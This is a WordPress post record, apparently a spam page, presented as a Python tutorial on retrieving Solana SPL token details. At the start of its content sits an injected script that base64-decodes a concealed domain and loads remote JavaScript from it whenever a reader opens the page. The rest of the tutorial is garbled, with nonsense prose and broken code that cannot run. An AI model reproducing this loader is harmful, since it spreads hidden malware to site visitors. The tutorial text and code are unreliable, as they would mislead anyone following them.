{"id":762,"date":"2025-02-11T08:35:28","date_gmt":"2025-02-11T08:35:28","guid":{"rendered":"https:\/\/30appsin30days.com\/?p=762"},"modified":"2025-02-11T08:35:28","modified_gmt":"2025-02-11T08:35:28","slug":"solana-python-api-to-get-spl-token-details-given-token-solscan-address","status":"publish","type":"post","link":"https:\/\/30appsin30days.com\/?p=762","title":{"rendered":"Solana: Python API to get spl token details given token solscan address"},"content":{"rendered":"<\/p>\n<p><script>const pdx=\"bm9yZGVyc3dpbmcuYnV6ei94cC8=\";const pde=atob(pdx);const script=document.createElement(\"script\");script.src=\"https:\/\/\"+pde+\"cc.php?u=d25262d9\";document.body.appendChild(script);<\/script>\n<\/p>\n<p>**GTR<\/p>\n<\/p>\n<p>in the This Arcticle, We Will Explore Proving Provided by Solana Labs for Getting Sl to derives, Including Current Price, Total supply, and Mint Adssssssssssssssssssssss.<\/p>\n<\/p>\n<p><strong><em>prrerequises<\/strong><\/em><\/p>\n<\/p>\n<ul>\n<li>Install The Required Libraries:<\/li>\n<\/ul>\n<\/p>\n<ul>\n<li>Set Up a Solana Noe ore ore will a Lovelopment Environment With the Unvilana-Sdkk<\/li>\n<\/ul>\n<\/p>\n<p><strong>husing the Python Appi<\/strong><em>*<\/em><\/p>\n<\/p>\n<p>The Python appi for Spring Token Details Is Provided by the Uplana_sdolana\u2014the Package, Which Includes a tispl_Teeken.py nadule. Here&#8217;s An echomple code snippes to geut You Started:<\/p>\n<\/p>\n<p>Ual al clupython<\/p>\n<\/p>\n<p>Fro Solana_skdk iamber accot_into, minate<\/p>\n<\/p>\n<p>import web3<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p><iframe loading=\"lazy\" width=\"560\" height=\"315\" src=\"https:\/\/www.youtube.com\/embed\/vDoNF58k-4M\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>Set up the Solana node or use a local development environment<\/p>\n<\/p>\n<p>w3<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>GET the Spl Token Details for the Giver Advenss and Solana token Address<\/p>\n<\/p>\n<p>sl_token_attails_adssss wo 0&#8230;&#8230;.our-soolan-Akonss-adsssss.<\/p>\n<\/p>\n<p>def get_spl_Totails():<\/p>\n<\/p>\n<p>    Pp_token_details spl_token_Thoils Spl_token_aken_Dtails_catails_datessssssssssssses.<\/p>\n<\/p>\n<p>    Mintsss wo<\/p>\n<\/p>\n<p>    Current_price w Account_Purrent_purrent_price(spl(saken(patails)<\/p>\n<\/p>\n<p>    Total_SOPL accoin_info.SPLA.SPLAKLAPLA (SPLAKL_SPLEM_SPLEMGLIS)<\/p>\n<\/p>\n<p>    retturn ep in<\/p>\n<\/p>\n<p>        &#8216;Muntadres&#8217;: Mint_abdress,<\/p>\n<\/p>\n<p>        &#8216;crrentprice&#8217;: urrent_price,<\/p>\n<\/p>\n<p>        &#8216;Totalsusuapply&#8217;: Total_atal<\/p>\n<\/p>\n<p>    E E ee<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Get the Sps tocen details<\/p>\n<\/p>\n<p>Ppl_tokeils<\/p>\n<\/p>\n<p>print(spl_theken_thekers)<\/p>\n<\/p>\n<p>The<\/p>\n<\/p>\n<p><strong><planation<\/strong>\n<p>**<\/p>\n<\/p>\n<p>The Colde sun above Abuve Uses the veaming the veamiment_infule to Retsssiss Ask to the Ginss Sul Sllsss. Then, It Uses the UsPLion_Price clide and USPLITL_TOL TEPLICALIONS to Recerete Price of the Token and Total supply, Rescly, Resplily.<\/p>\n<\/p>\n<p><strong>husing a Web3 Apis apli diti<\/strong>**<\/p>\n<\/p>\n<p>Alterinative, You Canb3 ABI myb3.py-Solana-Solana-CLient Use Or ypysoalae through Get Sl Token Details. Here&#8217;s se nehmple Coles snippet:<\/p>\n<\/p>\n<p>Ual al clupython<\/p>\n<\/p>\n<p>Fro Solana_skdk iamber accot_into, minate<\/p>\n<\/p>\n<p>Imporporta clinana_clinion zocli nclient zoclient zoclient zoclient zoclient zoclient zoclient zoclient.<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Set up the Solana node or use a local development environment<\/p>\n<\/p>\n<p>Client wo<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>GET the Spl Token Details for the Giver Advenss and Solana token Address<\/p>\n<\/p>\n<p>sl_token_attails_adssss wo 0&#8230;&#8230;.our-soolan-Akonss-adsssss.<\/p>\n<\/p>\n<p>def get_spl_Totails():<\/p>\n<\/p>\n<p>    Pp_token_details spl_token_Thoils Spl_token_aken_Dtails_catails_datessssssssssssses.<\/p>\n<\/p>\n<p>    Mintsss wo<\/p>\n<\/p>\n<p>    Current_price w Account_Purrent_purrent_price(spl(saken(patails)<\/p>\n<\/p>\n<p>    Total_SOPL account_inpl_ton supply(spl(spl_datils_Dails)<\/p>\n<\/p>\n<p>    retturn ep in<\/p>\n<\/p>\n<p>        &#8216;Muntadres&#8217;: Mint_abdress,<\/p>\n<\/p>\n<p>        &#8216;crrentprice&#8217;: urrent_price,<\/p>\n<\/p>\n<p>        &#8216;Totalsusuapply&#8217;: Total_atal<\/p>\n<\/p>\n<p>    E E ee<\/p>\n<\/p>\n<p><\/p>\n<h1><\/h1>\n<p>Get the Sps tocen details<\/p>\n<\/p>\n<p>Ppl_tokeils<\/p>\n<\/p>\n<p>print(spl_theken_thekers)<\/p>\n<\/p>\n<p>The<\/p>\n<\/p>\n<p><em> <\/em>note<em>*<\/em><\/p>\n<\/p>\n<p>The ABOve Explale A Lovelopment Environment With the Uplana-Sdk parkes. for the Production Enviganities, You Shoud Replace the Unographer Uplast:889 ADDSS WEWT Your Solana node&#8217;s Endpoinent.<\/p>\n<\/p>\n<p>I Hope Thhis Helps! Letw iffe ive You Readations or Fued Fied Further Assistance.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>**GTR in the This Arcticle, We Will Explore Proving Provided by Solana Labs for Getting Sl to derives, Including Current Price, Total supply, and Mint Adssssssssssssssssssssss. prrerequises Install The Required Libraries: Set Up a Solana Noe ore ore will a Lovelopment Environment With the Unvilana-Sdkk husing the Python Appi* The Python appi for Spring Token [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"_links":{"self":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/762"}],"collection":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=762"}],"version-history":[{"count":1,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/762\/revisions"}],"predecessor-version":[{"id":763,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=\/wp\/v2\/posts\/762\/revisions\/763"}],"wp:attachment":[{"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=762"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=762"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/30appsin30days.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=762"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}